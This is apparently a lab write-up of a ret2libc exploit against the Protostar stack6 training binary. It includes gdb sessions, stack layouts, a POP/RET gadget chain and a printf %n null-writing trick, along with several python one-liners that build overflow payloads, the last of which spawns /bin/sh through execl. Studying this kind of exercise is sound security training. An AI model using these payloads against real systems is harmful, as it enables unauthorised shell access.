This article is really helpful to understand the ret2libc technique.


I have never created ret2libc exploit, so I decided to try with a simple one. I printed “/bin/sh” string with printf. I got the string from the environment variables.

I started gdb, set a breakpoint in main, ran the application and checked the environment variables.

(gdb) show environment


Then I got the address of the string.

(gdb) x/200s $esp

0xbfffff88: “SHELL=/bin/sh”

(gdb) x/s 0xbfffff8e
0xbfffff8e: “/bin/sh”

I also needed the address of the printf and exit functions in libc.

(gdb) p printf
$2 = {} 0xb7eddf90
(gdb) p exit
$3 = {} 0xb7ec60c0 <*__GI_exit>

The stack should be constructed the following way (left side is the original stack, right side is the overwriten one):

RET address————–address of printf
——————————–address of exit (RET address after printf is called)
——————————–address of the printed string (first argument)

$ echo `python -c ‘print “\x41″*80 + “\x90\xdf\xed\xb7” + “\xc0\x60\xec\xb7” + “\x8e\xff\xff\xbf”‘` > /tmp/1

The shellcode worked in gdb, but did not work in real world again. I overwrote the return address and crashed the application. I loaded the generated core dump into gdb and searched the address of the string. The updated shellcode:

$ echo `python -c ‘print “\x41″*80 + “\x90\xdf\xed\xb7” + “\xc0\x60\xec\xb7” + “\x97\xff\xff\xbf”‘` > /tmp/1


Ret2Libc technique has two limitations. First the arguments cannot contain null characters. Second it cannot call more than one function. These limitations can be bypassed.

Let us start with calling more than one function. If we replace the address of the exit function with an address of POP/RET instruction sequence, then the execution will continue below. Consider this stack, which chains two printf function:

RET address————–address of printf
——————————–address of POP/RET (this will jump to the next stack RET)
——————————–address of the printed string (first argument)
——————————–address of second printf
——————————–address of exit (RET address after printf is called)
——————————–address of the second printed string (first argument)

The address of a POP/RET (0x08048507):

$ objdump -d /opt/protostar/bin/stack6

080484fa :
80484fa: 55 push %ebp
80484fb: 89 e5 mov %esp,%ebp
80484fd: 83 e4 f0 and $0xfffffff0,%esp
8048500: e8 7f ff ff ff call 8048484
8048505: 89 ec mov %ebp,%esp
8048507: 5d pop %ebp
8048508: c3 ret

The address of the PATH environment variable:

(gdb) x/s 0xbfffff47
0xbfffff47: “/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games”

The following shellcode prints out the SHELL and PATH environment variables.

$ echo `python -c ‘print “\x41″*80 + “\x90\xdf\xed\xb7” + “\x07\x85\x04\x08” + “\x97\xff\xff\xbf” + “\x90\xdf\xed\xb7” + “\xc0\x60\xec\xb7” + “\x47\xff\xff\xbf”‘` > /tmp/1



Let us deal with the other limitation. The passed arguments cannot be null. However we can use printf with %n to set zero on the stack. We can use the Direct Access feature (%XX$n, where XX is a number) to select the word which should be zero.


The structure of the final solution is this:

|[GARBAGE] (fill) | printf() addr | POP /RET (unwind) | addr of “%5$n” | execl() addr | exit() (return) | addr of “/bin/sh” | addr of “/bin/sh” | address of here |

I set a new environment variable and get its address.

$ export VAR1=%5\$n

(gdb) x/s 0xbfffff3d
0xbfffff3d: “%5$n”

I also determined the address of execl.

(gdb) p execl
$1 = {} 0xb7f2e460 <*__GI_execl>

Finally I calculated the address of the last part (0xbffffcd8). That address should be set there.

The final solution, which opens a shell:

$ echo `python -c ‘print “\x41″*80 + “\x90\xdf\xed\xb7” + “\x07\x85\x04\x08” + “\x3d\xff\xff\xbf” + “\x60\xe4\xf2\xb7” + “\x90\xdf\xed\xb7” + “\x97\xff\xff\xbf” + “\x97\xff\xff\xbf” + “\xd8\xfc\xff\xbf”‘` > /tmp/1